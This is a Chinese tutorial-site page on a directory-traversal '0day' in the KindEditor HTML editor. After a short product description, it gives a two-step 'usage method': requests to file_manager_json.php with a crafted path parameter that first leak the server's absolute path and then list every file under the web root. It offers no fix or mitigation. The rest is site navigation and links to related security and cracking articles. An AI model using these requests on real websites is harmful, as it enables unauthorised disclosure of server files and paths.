手机
当前位置:查字典教程网 >电脑 >电脑安全教程 >Kindeditor遍历目录0DAY问题
Kindeditor遍历目录0DAY问题
摘要:KindEditor是一套开源的HTML可视化编辑器,主要用于让用户在网站上获得所见即所得编辑效果,兼容IE、Firefox、Chrome、...

KindEditor是一套开源的HTML可视化编辑器,主要用于让用户在网站上获得所见即所得编辑效果,兼容IE、Firefox、Chrome、Safari、Opera等主流浏览器。 KindEditor使用JavaScript编写,可以无缝的于Java、.NET、PHP、ASP等程序接合。 KindEditor非常适合在CMS、商城、论坛、博客、Wiki、电子邮件等互联网应用上使用,2006年7月首次发布2.0以来,KindEditor依靠出色的用户体验和领先的技术不断扩大编辑器市场占有率,目前在国内已经成为最受欢迎的编辑器之一。

利用方法:

1.localhost/67cms/kindeditor/php/file_manager_json.php?path=/

//path=/,爆出绝对路径D:AppServwww67cmskindeditorphpfile_manager_json.php

2.localhost/67cms/kindeditor/php/file_manager_json.php?path=AppServ/www/67cms/

//根据爆出的绝对路径,修改path的值为AppServ/www/67cms/

这时将遍历d:/AppServ/www/67cms/下的所有文件和文件名

Kindeditor遍历目录0DAY问题1

【Kindeditor遍历目录0DAY问题】相关文章:

HTML5对安全的改进 HTML5安全攻防详析终结篇

win8如何进入安全模式

电脑密码怎么破解 破解电脑密码的方法

SoftICE for WIN95中文命令解说(十一)

Arctic Issue Tracker 2.0.0 (index.php filter) SQL Injection Exploit

win8本地安全策略问题集

McAfee杀毒软件卸载方法

SoftICE for WIN95中文命令解说(二)

黑客七大惯用攻击策略(攻击与防范)

如何防范你的微薄账号被盗(新浪微博与qq微博)

精品推荐
分类导航